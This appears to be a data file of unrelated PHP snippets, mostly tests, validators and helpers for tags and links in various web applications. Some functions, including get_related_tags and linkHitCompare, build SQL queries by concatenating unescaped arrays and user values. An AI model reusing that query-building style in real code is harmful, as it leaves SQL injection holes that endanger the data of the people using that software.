"public function testIsTagged(): void\n {\n $models = TestModel::isTagged()->get();\n $keys = $models->modelKeys();\n\n self::assertArrayValuesAreEqual(\n [\n $this->testModel2->getKey(),\n $this->testModel3->getKey(),\n $this->testModel4->getKey(),\n $this->testModel5->getKey(),\n $this->testModel6->getKey(),\n $this->testModel7->getKey(),\n $this->testModel8->getKey(),\n ],\n $keys\n );\n }",
"public function testLinkWithPipes()\n {\n // for example: golem.de is expanded to <https://golem.de|golem.de>\n $data = <<<'EOT'\n{\n \"client_msg_id\": \"5510681d-1c33-41aa-a0ee-62779cd9e8ad\",\n \"type\": \"message\",\n \"text\": \"Link mit pipe <https://golem.de|golem.de>\",\n \"user\": \"UF53JT12T\",\n \"ts\": \"1546266336.001000\"\n}\nEOT;\n\n $message = json_decode($data, true);\n $result = Message::extract_links($message);\n\n $this->assertEquals(count($result), 1);\n $this->assertEquals($result[0]['link'], 'https://golem.de');\n $this->assertEquals($result[0]['title'], null);\n $this->assertEquals($result[0]['source'], 'golem.de');\n }",
"function _linkReferences() {\n\tif (is_array($this->_haveRefs)) {\n\t\tforeach ($this->_haveRefs as $node) {\n\t\tif (!empty($node->data)) {\n\t\t\t$key = key($node->data);\n\t\t\t// If it's an array, don't check.\n\t\t\tif (is_array($node->data[$key])) {\n\t\t\tforeach ($node->data[$key] as $k => $v) {\n\t\t\t\t$this->_linkRef($node,$key,$k,$v);\n\t\t\t}\n\t\t\t} else {\n\t\t\t$this->_linkRef($node,$key);\n\t\t\t}\n\t\t}\n\t\t}\n\t}\n\treturn true;\n\t}",
"public function testGetAllValidTags() {\n\t\t// count the number of rows and save it for later\n\t\t$numRows = $this->getConnection()->getRowCount(\"tag\");\n\t\t// create a new Tag and insert to into mySQL\n\t\t$tag = new Tag(null, $this->VALID_TAGCONTENT);\n\t\t$tag->insert($this->getPDO());\n\t\t// grab the data from mySQL and enforce the fields match our expectations\n\t\t$results = Tag::getAllTags($this->getPDO());\n\t\t$this->assertEquals($numRows + 1, $this->getConnection()->getRowCount(\"tag\"));\n\t\t$this->assertCount(1, $results);\n\t\t\t\t// grab the result from the array and validate it\n\t\t$pdoTag = $results[0];\n\t\t\t\t$this->assertEquals($pdoTag->getTagName(), $this->VALID_TAGCONTENT);\n\t}",
"function checktags() {\n\t\t\n\t\tglobal $post;\n\t\t$tag_ids = wp_get_post_tags( $post->ID, array( 'fields' => 'ids' ) );\n\t\t\n\t\tif ( !empty($tag_ids) ) {\n\t\t\t\n\t\t\treturn true;\n\t\t\n\t\t} else {\n\t\t\t\n\t\t\treturn false;\n\t\t\n\t\t}\n\t\t\n\t}",
"function validTags($tags){\n $qh = new QueryHelper();\n\n $columnName = \"Value\";\n $selectTag = \"SELECT * FROM Tag;\";\n\n for($i = 0; $i < sizeof($tags); $i++){\n if(!$tags[$i] == 'Tag'){\n if(!$qh -> verifyDropDownInput($tags[$i], $selectFormat, $columnName)){\n echo \"invalid tag: $i\";\n return false;\n }\n }\n }\n return true;\n }",
"function checkTagCount(array $openingTags, array $closingTags): bool\n{\n return count($openingTags) == count($closingTags);\n}",
"function mymodule_tag_iteminfo(&$items)\r\n{\r\n $items_id = array();\r\n foreach (array_keys($items) as $cat_id) {\r\n // Some handling here to build the link upon catid\r\n // If catid is not used, just skip it\r\n foreach (array_keys($items[$cat_id]) as $item_id) {\r\n // In article, the item_id is \"art_id\"\r\n $items_id[] = intval($item_id);\r\n }\r\n }\r\n $item_handler =& xoops_getmodulehandler(\"item\", \"module\");\r\n $items_obj = $item_handler->getObjects(new Criteria(\"itemid\", \"(\" . implode(\", \", $items_id) . \")\", \"IN\"), true);\r\n \r\n foreach (array_keys($items) as $cat_id) {\r\n foreach (array_keys($items[$cat_id]) as $item_id) {\r\n $item_obj =& $items_obj[$item_id];\r\n $items[$cat_id][$item_id] = array(\r\n \"title\" => $item_obj->getVar(\"item_title\"),\r\n \"uid\" => $item_obj->getVar(\"uid\"),\r\n \"link\" => \"view.item.php?itemid={$item_id}\",\r\n \"time\" => $item_obj->getVar(\"item_time\"),\r\n \"tags\" => tag_parse_tag($item_obj->getVar(\"item_tags\", \"n\")), // optional\r\n \"content\" => \"\",\r\n );\r\n }\r\n }\r\n unset($items_obj); \r\n}",
"private function assertValidTags() : void\n {\n if ([] === $this->tags) {\n return;\n }\n\n foreach ($this->tags as $value) {\n InvalidDescriptorArgumentException::assertIsNotEmptyString(\n $value,\n '#[Route.tags] must contain non-empty strings.'\n );\n }\n }",
"public static function get_related_tags(Info $info, $badges, $tags) {\n try {\n //NOTE: If you are super admin, dont bother joining in perm tables to get accurate topic_count by permission\n //Since you are super, you can read ALL articles, so just use the topic_count column in tbl_badge_item\n $badges_exist = false;\n $tags_exist = false;\n if ($badges[0] != '' && $badges[0] != '*') $badges_exist = true;\n if ($tags[0] != '' && $tags[0] != '*') $tags_exist = true;\n if ($badges_exist) {\n $db = ADODB::connect();\n if ($info->admin) {\n //This does not take into account permissions on topic_count, becuase Im admin\n $query = \"\n SELECT\n DISTINCT ti.*\n FROM\n tbl_tag_link tl\n LEFT OUTER JOIN tbl_tag_item ti on tl.tag_id = ti.tag_id\n WHERE \";\n if ($tags_exist) {\n $query .= \"\n tl.topic_id IN (\n SELECT\n tl.topic_id\n FROM\n tbl_tag_link tl\n WHERE\n tl.tag_id IN (\".implode(\",\", $tags).\") \n GROUP BY\n tl.topic_id\n HAVING \n count(DISTINCT tl.tag_id) >= \".count($tags).\"\n ) \";\n }\n if ($badges_exist) {\n if ($tags_exist) $query .= \"AND \";\n $query .= \"\n tl.topic_id IN (\n SELECT\n bl.topic_id\n FROM\n tbl_badge_link bl\n WHERE\n bl.badge_id IN (\".implode(\",\", $badges).\") \n GROUP BY\n bl.topic_id\n HAVING \n count(DISTINCT bl.badge_id) >= \".count($badges).\"\n ) \";\n }\n if ($tags_exist) {\n $query .= \"\n AND\n tl.tag_id NOT IN (\".implode(\",\", $tags).\") \";\n }\n $query .= \"ORDER BY ti.tag\";\n } else {\n //This uses a true topic count, taking into account your permissions\n //Holy crap, this ones crazy!\n $query = \"\n SELECT DISTINCT\n mainti.tag_id,\n mainti.tag \";\n /* I took counts off because this is total count, not filtered count\n (\n SELECT count(DISTINCT t.topic_id) FROM\n tbl_topic t LEFT OUTER JOIN tbl_tag_link tl on t.topic_id = tl.topic_id\n LEFT OUTER JOIN tbl_perm_link pl on t.topic_id = pl.topic_id\n LEFT OUTER JOIN tbl_perm_group_link pgl on pl.perm_group_id = pgl.perm_group_id\n WHERE tl.tag_id = mainti.tag_id AND ((pl.perm_id = \".Config::STATIC_PERM_READ.\" AND pgl.user_id = $user_id) or t.created_by = $user_id)\n ) as topic_count*/\n $query .= \"FROM\n tbl_tag_link maintl\n INNER JOIN tbl_tag_item mainti on maintl.tag_id = mainti.tag_id\n WHERE \";\n if ($tags_exist) {\n $query .= \"\n maintl.topic_id IN (\n SELECT\n tl.topic_id\n FROM \n tbl_topic t\n LEFT OUTER JOIN tbl_perm_link pl on t.topic_id = pl.topic_id and pl.perm_id = \".Config::STATIC_PERM_READ.\"\n LEFT OUTER JOIN tbl_perm_group_link pgl on pl.perm_group_id = pgl.perm_group_id\n LEFT OUTER JOIN tbl_tag_link tl on t.topic_id = tl.topic_id\n WHERE\n (pgl.user_id = $info->user_id OR t.created_by = $info->user_id) AND\n tl.tag_id IN (\".implode(\",\", $tags).\")\n GROUP BY\n tl.topic_id\n HAVING\n count(DISTINCT tl.tag_id) >= \".count($tags).\"\n ) \";\n }\n if ($badges_exist) {\n if ($tags_exist) $query .= \"AND \";\n $query .=\"\n maintl.topic_id IN (\n SELECT\n bl.topic_id\n FROM \n tbl_topic t\n LEFT OUTER JOIN tbl_perm_link pl on t.topic_id = pl.topic_id and pl.perm_id = \".Config::STATIC_PERM_READ.\"\n LEFT OUTER JOIN tbl_perm_group_link pgl on pl.perm_group_id = pgl.perm_group_id\n LEFT OUTER JOIN tbl_badge_link bl on t.topic_id = bl.topic_id\n WHERE\n (pgl.user_id = $info->user_id OR t.created_by = $info->user_id) AND\n bl.badge_id IN (\".implode(\",\", $badges).\")\n GROUP BY\n bl.topic_id\n HAVING\n count(DISTINCT bl.badge_id) >= \".count($badges).\"\n ) \";\n }\n if ($tags_exist) {\n $query .=\"\n AND\n maintl.tag_id NOT IN (\".implode(\",\", $tags).\")\";\n }\n $query .= \"ORDER BY mainti.tag\"; \n }\n $rs = $db->Execute($query);\n $tag_items = array();\n while (!$rs->EOF) {\n $tag_item = new Tbl_tag;\n $tag_item->tag_id = $rs->fields['tag_id'];\n $tag_item->tag = $rs->fields['tag'];\n $tag_item->image = $rs->fields['image'];\n $tag_item->default_topic_id = $rs->fields['default_topic_id'];\n $tag_items[] = $tag_item; //add this badge_item to array of Tbl_badge\n $rs->MoveNext();\n }\n return $tag_items;\n }\n } catch (exception $e) {\n Info::exception_handler($e, __file__, get_class($this), __FUNCTION__, __LINE__);\n }\n }",
"public function test_links_parse(): void\n {\n $request = GroupRequest::ofUserName(self::DEFAULT_GROUP_DEEPLINK);\n $this->resolve($request, function (?int $groupId, ?int $accessHash) {\n $count = 0;\n $handler = function (?MessageModel $message = null) use (&$count) {\n if ($message) {\n $this->assertEquals('qweq', $message->getText());\n $count++;\n }\n };\n $client = new LinkParseScenario(\n new GroupId($groupId, $accessHash),\n $this->clientGenerator,\n new OptionalDateRange(),\n $handler,\n self::USERNAME\n );\n $client->setTimeout(self::TIMEOUT);\n $client->startActions();\n $this->assertEquals(1, $count);\n });\n }",
"public function testValidationForTags(): void\n {\n foreach (['ab', str_repeat('a', 41)] as $tag) {\n $errors = $this->Table->newEntity(['tags_as_string' => $tag] + $this->example)->getErrors();\n $this->assertEquals(['tags' => [\n 'validTags' => sprintf('Tag \"%s\": must be between 3 and 40 chars', $tag),\n ]], $errors);\n }\n\n foreach (['Abc', 'ab$', 'ab-c', 'ab_c'] as $tag) {\n $errors = $this->Table->newEntity(['tags_as_string' => $tag] + $this->example)->getErrors();\n $this->assertEquals(['tags' => [\n 'validTags' => sprintf('Tag \"%s\": %s: %s', $tag, lcfirst(I18N_ALLOWED_CHARS), I18N_LOWERCASE_NUMBERS_SPACE),\n ]], $errors);\n }\n\n //Multiple errors\n $tags = ['ab$', str_repeat('a', 41)];\n $errors = $this->Table->newEntity(['tags_as_string' => implode(', ', $tags)] + $this->example)->getErrors();\n $errorsAsArray = explode(PHP_EOL, $errors['tags']['validTags']);\n $this->assertEquals([\n sprintf('Tag \"%s\": %s: %s', $tags[0], lcfirst(I18N_ALLOWED_CHARS), I18N_LOWERCASE_NUMBERS_SPACE),\n sprintf('Tag \"%s\": must be between 3 and 40 chars', $tags[1]),\n ], $errorsAsArray);\n\n foreach ([\n 'abc',\n str_repeat('a', 40),\n 'first, second',\n 'first, second',\n 'first , second',\n 'first ,second',\n 'first ,second',\n 'first,second',\n ' first, second',\n 'first, second ',\n ' first, second ',\n ' first , second ',\n ] as $tags_as_string) {\n $errors = $this->Table->newEntity(compact('tags_as_string') + $this->example)->getErrors();\n $this->assertEmpty($errors);\n }\n }",
"public function frontendTagVerificationInCategory($tags, $product, $category)\n {\n if (is_string($tags))\n $tags = $this->_convertTagsStringToArray($tags);\n $category = substr($category, strpos($category, '/') + 1);\n $url = trim(strtolower(preg_replace('#[^0-9a-z]+#i', '-', $category)), '-');\n $this->addParameter('productName', $product);\n $this->addParameter('categoryTitle', $category);\n $this->addParameter('categoryUrl', $url);\n foreach ($tags as $tag) {\n $this->frontend('category_page_before_reindex');\n $this->addParameter('tagName', $tag);\n $this->assertTrue($this->controlIsPresent('link', 'tag_name'), \"Cannot find tag with name: $tag\");\n $this->clickControl('link', 'tag_name');\n $this->assertTrue($this->checkCurrentPage('tags_products'), $this->getParsedMessages());\n $this->assertTrue($this->controlIsPresent('link', 'product_name'));\n }\n }",
"private function validateFlowPrime($items) {\n $valid = true;\n\n foreach ($items as $item) {\n if (!isset($item['type']) || !class_exists($item['type'])) {\n continue;\n }\n if (is_subclass_of($item['type'], 'MultiChildNode')) {\n $nodeClass = $item['type'];\n if (isset($item['type'][$nodeClass::getLeftChildName()])) {\n if (!$this->validateFlowPrime($item[$nodeClass::getLeftChildName()])) {\n $valid = false;\n break;\n }\n }\n if (isset($item['type'][$nodeClass::getRightChildName()])) {\n if (!$this->validateFlowPrime($item[$nodeClass::getRightChildName()])) {\n $valid = false;\n break;\n }\n }\n } else {\n $valid = $this->validateFlowItem($item);\n if (!$valid) {\n break;\n }\n }\n }\n return $valid;\n }",
"protected function isLink() {}",
"public function testMf2DoesNotParseRelTag() {\n\t\t$input = '<div class=\"h-entry\">\n<a rel=\"tag\" href=\"/tags/tests\">Tests</a>\n</div>\n\n<div class=\"h-review\">\n<a rel=\"tag\" href=\"/tags/reviews\">Reviews</a>\n</div>\n';\n\t\t$parser = new Parser($input);\n\t\t$output = $parser->parse();\n\n\t\t$this->assertArrayNotHasKey('category', $output['items'][0]['properties']);\n\t\t$this->assertArrayNotHasKey('category', $output['items'][1]['properties']);\n\t}",
"public function checkTags($fields) {\n $fields = array_values($fields);\n if (empty($fields[0]))\n return __('A01120_ERR_MSG009');\n\n if(count(explode(',', $fields['0'])) > 5) {\n return __('A01120_ERR_MSG010');\n }\n\n //get user tags\n $form_tags = preg_split('/[,\\0100]+/', $fields[0], -1, PREG_SPLIT_NO_EMPTY);\n\n //get instance of Tag model\n $TagModel = $this->QuestionTag->Tag;\n\n //get valid tags\n $valid_tags = $TagModel->find('list', array(\n 'conditions' => array(\n 'Tag.name' => $form_tags,\n 'Tag.delete_flag' => FLAG_NOT_DELETED\n )\n ));\n $valid_tags = array_values($valid_tags);\n\n $invalid_tags = array_values(array_diff($form_tags, $valid_tags));\n\n if (empty($invalid_tags)) {\n return true;\n } else {\n return __('A01120_ERR_MSG006', implode(',', $invalid_tags));\n }\n }",
"public function testLinkedTo()\n {\n $layer = new Layer($this->pieceRecords);\n $this->assertEquals(5, count($layer->linkedTo('format', 36)->toArray()));\n $this->assertEquals(40, count($layer->linkedTo('format', null)->toArray()));\n $this->assertEquals(0, count($layer->linkedTo('format', 500)->toArray()));\n $this->assertEquals(0, count($layer->linkedTo('junk', 36)->toArray()));\n }",
"public function UpdateTagsWithLinks() {\n\t\t$tags = $this->UpdateTags();\n\n\t\t$processed = new ArrayList();\n\n\t\tforeach ($tags as $tag) {\n\t\t\t// Build the link - keep the tag, and date range, but reset month, year and pagination.\n\t\t\t$link = HTTP::setGetVar('tag', $tag->ID, null, '&');\n\t\t\t$link = HTTP::setGetVar('month', null, $link, '&');\n\t\t\t$link = HTTP::setGetVar('year', null, $link, '&');\n\t\t\t$link = HTTP::setGetVar('start', null, $link, '&');\n\n\t\t\t$tag->Link = $link;\n\t\t\t$processed->push($tag);\n\t\t}\n\n\t\treturn $processed;\n\t}",
"public function is_valid_link()\r\n {\r\n \t$sql = 'SELECT count(id) from '.$this->get_exercise_table()\r\n\t\t\t\t.' WHERE id = '.$this->get_ref_id();\r\n\t\t$result = api_sql_query($sql, __FILE__, __LINE__);\r\n\t\t$number=mysql_fetch_row($result);\r\n\t\treturn ($number[0] != 0);\r\n }",
"public function testListSharedLinks()\n {\n }",
"public function testPrivateTokenErrors() {\n $badData = $this->goodData;\n unset($badData['private_token']);\n $this->assertFalse($this->Links->save($this->Links->newEntity($badData)), 'Private token is required');\n\n $badData['private_token'] = '';\n $this->assertFalse($this->Links->save($this->Links->newEntity($badData)),\n 'Private token is not empty');\n\n //Check private tokens are unique\n $goodData = $this->goodData;\n $goodData['title'] = 'titleTestPrivateTokenErrors';\n $this->Links->save($this->Links->newEntity($goodData));\n $this->Links->save($this->Links->newEntity($goodData));\n $result = $this->Links->find(\"all\")\n ->where(['Links.title =' => $goodData['title']])\n ->toArray();\n $this->assertNotEquals($result[0]->token, $result[1]->token,\n 'Two similar links do not have same tokn');\n }",
"public function linkHitCompare() {\n\t\tglobal $db;\n\t\t$user = new User;\n\t\t$lang = new Language;\n\t\t$where = \"AND link_author = '{$user->_user()}'\";\n\t\tif ( $user->can( 'manage_user_items' ) ) {\n\t\t\t$where = null;\n\t\t}\n\t\t$get = $db->customQuery( \"SELECT link_id FROM {$db->tablePrefix()}links WHERE link_hits != '0' $where\" );\n\t\t$return = '';\n\t\twhile ( $array = $get->fetch_array() ) {\n\t\t\t$getLinkHits = $db->customQuery( \"SELECT link_title,link_hits FROM {$db->tablePrefix()}links WHERE link_id = '{$array['link_id']}'\" );\n\t\t\t$linkData = $getLinkHits->fetch_object();\n\t\t\t$return .= \"['{$linkData->link_title}', {$linkData->link_hits}],\";\n\t\t}\n\t\treturn $return;\n\t}",
"function is_tag($decks,$tag) {\n\t// verfifies that a tag is defined \n\tforeach ($decks as $key => $value) {\n\t\tif ($value['tag'] == $tag) return true;\n\t}\t\n\treturn false;\n}",
"public function test_delete_item_tags_with_userid() {\n global $DB;\n\n $this->resetAfterTest(true);\n // Create a course to tag.\n $course = $this->getDataGenerator()->create_course();\n $context = context_course::instance($course->id);\n\n // Create a user to perform tagging.\n $user = $this->getDataGenerator()->create_user();\n $this->setUser($user);\n\n // Tag courses.\n core_tag_tag::set_item_tags('core_course', 'course', $course->id, $context, ['Tag 1', 'Tag 2'], $user->id);\n $expectedtagcount = $DB->count_records('tag_instance');\n\n // Delete tags for course. Use wrong userid.\n core_tag\\privacy\\provider::delete_item_tags($context, 'core_course', 'course', null, 1);\n $this->assertEquals($expectedtagcount, $DB->count_records('tag_instance'));\n\n $expectedtagcount -= 2;\n // Delete tags for course. Use correct userid.\n core_tag\\privacy\\provider::delete_item_tags($context, 'core_course', 'course', null, $user->id);\n $this->assertEquals($expectedtagcount, $DB->count_records('tag_instance'));\n }",
"function generateTagsLinks( ){\n global $config;\n \n $oSql = Sql::getInstance( );\n $oQuery = $oSql->getQuery( 'SELECT sUrl, iTag, sLang FROM tags ORDER BY iPosition ASC' );\n while( $aData = $oQuery->fetch( PDO::FETCH_ASSOC ) ){\n $sUrl = $config['tags_url_prefix'].change2Url( $aData['sUrl'] );\n $aLinksIds[$aData['iTag']] = $sUrl.'.html';\n $aLinks[$sUrl] = Array( $aData['iTag'], $aData['sLang'] );\n } // end while\n\n file_put_contents( $config['dir_database'].'cache/tags_links', ( isset( $aLinks ) ? serialize( $aLinks ) : null ) );\n file_put_contents( $config['dir_database'].'cache/tags_links_ids', ( isset( $aLinksIds ) ? serialize( $aLinksIds ) : null ) );\n}",
"public function provideUrlLikeTagTests() {\n $result = [\n [[\n 'descr' => \"[email] gets converted.\",\n 'bbcode' => \"Send complaints to [email][email protected][/email].\",\n 'html' => \"Send complaints to <a href=\\\"mailto:[email protected]\\\" class=\\\"bbcode_email\\\">[email protected]</a>.\",\n ]],\n [[\n 'descr' => \"[email] supports both forms.\",\n 'bbcode' => \"Send complaints to [[email protected]]John Smith[/email].\",\n 'html' => \"Send complaints to <a href=\\\"mailto:[email protected]\\\" class=\\\"bbcode_email\\\">John Smith</a>.\",\n ]],\n [[\n 'descr' => \"Bad addresses in [email] are ignored.\",\n 'bbcode' => \"Send complaints to [email]jo\\\"hn@@@exa:mple.com[/email].\",\n 'html' => \"Send complaints to [email]jo"hn@@@exa:mple.com[/email].\",\n ]],\n /*\n [[\n 'descr' => \"[video=youtube] gets converted.\",\n 'bbcode' => \"Watch this cute doggy!!! [video=youtube]dQw4w9WgXcQ[/video]\",\n 'html' => \"Watch this cute doggy!!! <object width=\\\"480\\\" height=\\\"385\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/dQw4w9WgXcQ&hl=en_US&fs=1&\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\"></param><embed src=\\\"http://www.youtube.com/v/dQw4w9WgXcQ&hl=en_US&fs=1&\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"480\\\" height=\\\"385\\\"></embed></object>\",\n ]],\n [[\n 'descr' => \"[video=hulu] gets converted.\",\n 'bbcode' => \"Gleeks: [video=hulu]yuo37ilvL7pUlsKJmA6R0g[/video]\",\n 'html' => \"Gleeks: <object width=\\\"512\\\" height=\\\"288\\\"><param name=\\\"movie\\\" value=\\\"http://www.hulu.com/embed/yuo37ilvL7pUlsKJmA6R0g\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><embed src=\\\"http://www.hulu.com/embed/yuo37ilvL7pUlsKJmA6R0g\\\" type=\\\"application/x-shockwave-flash\\\" width=\\\"512\\\" height=\\\"288\\\" allowFullScreen=\\\"true\\\"></embed></object>\",\n ]],\n [[\n 'descr' => \"[video] ignores unknown video services.\",\n 'bbcode' => \"Watch this cute doggy!!! [video=flarb]abcdefg[/video]\",\n 'html' => \"Watch this cute doggy!!! [video=flarb]abcdefg[/video]\",\n ]],\n [[\n 'descr' => \"[video] ignores bad video IDs.\",\n 'bbcode' => \"Watch this cute doggy!!! [video=youtube]b!:=9_?[/video]\",\n 'html' => \"Watch this cute doggy!!! [video=youtube]b!:=9_?[/video]\",\n ]],\n [[\n 'descr' => \"[video] correctly supports width= and height= modifiers.\",\n 'bbcode' => \"Watch this cute doggy!!! [video=youtube width=320 height=240]dQw4w9WgXcQ[/video]\",\n 'html' => \"Watch this cute doggy!!! <object width=\\\"320\\\" height=\\\"240\\\"><param name=\\\"movie\\\" value=\\\"http://www.youtube.com/v/dQw4w9WgXcQ&hl=en_US&fs=1&\\\"></param><param name=\\\"allowFullScreen\\\" value=\\\"true\\\"></param><param name=\\\"allowscriptaccess\\\" value=\\\"always\\\"></param><embed src=\\\"http://www.youtube.com/v/dQw4w9WgXcQ&hl=en_US&fs=1&\\\" type=\\\"application/x-shockwave-flash\\\" allowscriptaccess=\\\"always\\\" allowfullscreen=\\\"true\\\" width=\\\"320\\\" height=\\\"240\\\"></embed></object>\",\n ]],\n */\n [[\n 'descr' => \"The [[wiki]] special tag produces a wiki link.\",\n 'bbcode' => \"This is a test of the [[wiki]] tag.\",\n 'html' => \"This is a test of the <a href=\\\"/?page=wiki\\\" class=\\\"bbcode_wiki\\\">wiki</a> tag.\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag does not convert [a-zA-Z0-9'\\\".:_-].\",\n 'bbcode' => \"This is a test of the [[\\\"Ab1cd'Ef2gh_Ij3kl.,Mn4op:Qr9st-Uv0wx\\\"]] tag.\",\n 'html' => \"This is a test of the <a href=\\\"/?page=%22Ab1cd%27Ef2gh_Ij3kl.%2CMn4op%3AQr9st_Uv0wx%22\\\" class=\\\"bbcode_wiki\\\">"Ab1cd'Ef2gh_Ij3kl.,Mn4op:Qr9st-Uv0wx"</a> tag.\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag can contain spaces.\",\n 'bbcode' => \"This is a test of the [[northwestern salmon]].\",\n 'html' => \"This is a test of the <a href=\\\"/?page=northwestern_salmon\\\" class=\\\"bbcode_wiki\\\">northwestern salmon</a>.\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag cannot contain newlines.\",\n 'bbcode' => \"This is a test of the [[northwestern\\nsalmon]].\",\n 'html' => \"This is a test of the [[northwestern<br>\\nsalmon]].\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag can contain a title after a | character.\",\n 'bbcode' => \"This is a test of the [[northwestern salmon|Northwestern salmon are yummy!]].\",\n 'html' => \"This is a test of the <a href=\\\"/?page=northwestern_salmon\\\" class=\\\"bbcode_wiki\\\">Northwestern salmon are yummy!</a>.\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag doesn't damage anything outside it.\",\n 'bbcode' => \"I really loved reading [[arc 1|the first story arc]] because it was more entertaining than [[arc 2|the second story arc]] was.\",\n 'html' => \"I really loved reading <a href=\\\"/?page=arc_1\\\" class=\\\"bbcode_wiki\\\">the first story arc</a> because it was more entertaining than <a href=\\\"/?page=arc_2\\\" class=\\\"bbcode_wiki\\\">the second story arc</a> was.\",\n ]],\n [[\n 'descr' => \"The [[wiki]] special tag condenses and trims internal whitespace.\",\n 'bbcode' => \"This is a test of the [[ northwestern \\t salmon | Northwestern salmon are yummy! ]].\",\n 'html' => \"This is a test of the <a href=\\\"/?page=northwestern_salmon\\\" class=\\\"bbcode_wiki\\\">Northwestern salmon are yummy!</a>.\",\n ]],\n ];\n return $result;\n }",
"public function isValidFeedItem( FeedItem $fi ): bool\n {\n if ( $fi->isGroup() ) {\n $fi->setChildProducts( array_values(\n array_filter( $fi->getChildProducts(), static fn( FeedItem $item ) => !empty( $item->getMpn() ) && count( $item->getImages() ) )\n ) );\n return count( $fi->getChildProducts() );\n }\n return !empty( $fi->getMpn() ) && count( $fi->getImages() );\n }",
"public function hasTagsList()\n {\n return $this->tags !== null;\n }",
"public function hasTagsList()\n {\n return $this->tags !== null;\n }",
"protected function prepare_links($item)\n {\n }",
"protected function linkedRecords()\n {\n $assoc = [];\n\n $sql = sprintf(\n \"SELECT COUNT(1) AS count FROM %sfaqattachment WHERE virtual_hash = '%s'\",\n PMF_Db::getTablePrefix(),\n $this->virtualHash\n );\n\n $result = $this->db->query($sql);\n\n if ($result) {\n $assoc = $this->db->fetchArray($result);\n }\n\n return $assoc['count'] > 1;\n }",
"public function hasTagList()\n {\n return $this->tag !== null;\n }",
"public function testTagURLSegment()\n {\n $tag1 = $this->objFromFixture('Tag', 'tag1');\n $tag2 = $this->objFromFixture('Tag', 'tag2');\n\n $this->assertEquals('testtag-' . $tag1->ID, $tag1->URLSegment);\n $this->assertEquals('testtag-' . $tag2->ID, $tag2->URLSegment);\n }",
"public function testTokenErrors() {\n //Check the token is required ...\n $badData = $this->goodData;\n unset($badData['token']);\n $this->assertFalse($this->Links->save($this->Links->newEntity($badData)),\n 'Token is required');\n\n //.. and not empty\n $badData['token'] = '';\n $this->assertFalse($this->Links->save($this->Links->newEntity($badData)),\n 'Token is not empty');\n\n $goodData = $this->goodData;\n $goodData['title'] = 'titleTestTokenErrors';\n\n //Check tokens are unique\n $this->Links->save($this->Links->newEntity($goodData));\n $this->Links->save($this->Links->newEntity($goodData));\n $result = $this->Links->find(\"all\")\n ->where(['Links.title =' => $goodData['title']])\n ->toArray();\n $this->assertNotEquals($result[0]->token, $result[1]->token,\n 'Two similar links do not have same tokn');\n }",
"function testRemoveUnusedTagsEnabled() {\n\t\t$entry1 = $this->objFromFixture('TagFieldTest_BlogEntry', 'blogentry1');\n\t\t\n\t\t// should contain \"tag1\"\n\t\t$entry2 = $this->objFromFixture('TagFieldTest_BlogEntry', 'blogentry2');\n\t\t\n\t\t$field = new TagField('Tags', null, null, 'TagFieldTest_BlogEntry');\n\t\t$field->setValue('tag3');\n\t\t$field->saveInto($entry1);\n\t\t$entry1->write();\n\t\t\n\t\t$this->assertInstanceOf(\n\t\t\t'TagFieldTest_Tag', \n\t\t\tTagFieldTest_Tag::get()->filter('Title', 'tag1')->First(),\n\t\t\t'Removing a tag relation which is still present in other objects shouldnt remove the tag record'\n\t\t);\n\t\t$this->assertNull(\n\t\t\tTagFieldTest_Tag::get()->filter('Title', 'tag2')->First(),\n\t\t\t'If the only remaining relation of a tag record is removed, the tag should be removed completely'\n\t\t);\n\t}",
"public function testGetItemSubCategoryTags()\n {\n }",
"public function testGetValidTagByTagContent() {\n\t\t// count the number of rows and save it for later\n\t\t$numRows = $this->getConnection()->getRowCount(\"tag\");\n\t\t// create a new Tag and insert to into mySQL\n\t\t$tag = new Tag(null, $this->VALID_TAGCONTENT);\n\t\t$tag->insert($this->getPDO());\n\t\t// grab the data from mySQL and enforce the fields match our expectations\n\t\t$results = Tag::getTagByTagContent($this->getPDO(), $tag->getTagName());\n\t\t$this->assertEquals($numRows + 1, $this->getConnection()->getRowCount(\"tag\"));\n\t\t$this->assertCount(1, $results);\n\t\t\t\t// grab the result from the array and validate it\n\t\t$pdoTag = $results[0];\n\t\t\t\t$this->assertEquals($pdoTag->getTagName(), $this->VALID_TAGCONTENT);\n\t}",
"public function hasTags()\n {\n return 0 < count($this->getTags());\n }",
"public function hasLinkImage()\n {\n return $this->LinkImage()->exists();\n }",
"public function testValidation()\n {\n $nbRecords = $this->Links->find('all')->count();\n\n $goodData = $this->goodData;\n //Check good data can be inserted\n $link = $this->Links->newEntity();\n $link = $this->Links->patchEntity($link, $goodData);\n $this->assertNotFalse($this->Links->save($link),\n 'Good data can be inserted');\n $this->assertEquals($nbRecords + 1, $this->Links->find('all')->count(),\n 'A new record is in DB');\n\n //And the data inserted is ok\n $data = $goodData;\n // Tokens are randomly generated, cannot be checked in this way\n unset($data['token']);\n unset($data['private_token']);\n $this->assertArraySubset($data,\n $this->Links->find('all')\n ->where(['Links.title =' => $goodData['title']])\n ->toArray()[0]->toArray(),\n 'The inserted data corresponds to what we expect');\n }",
"function is_linked_category($category) {\r\n switch($category) {\r\n case 99999:\r\n case 99998:\r\n return true;\r\n }\r\n return false;\r\n }",
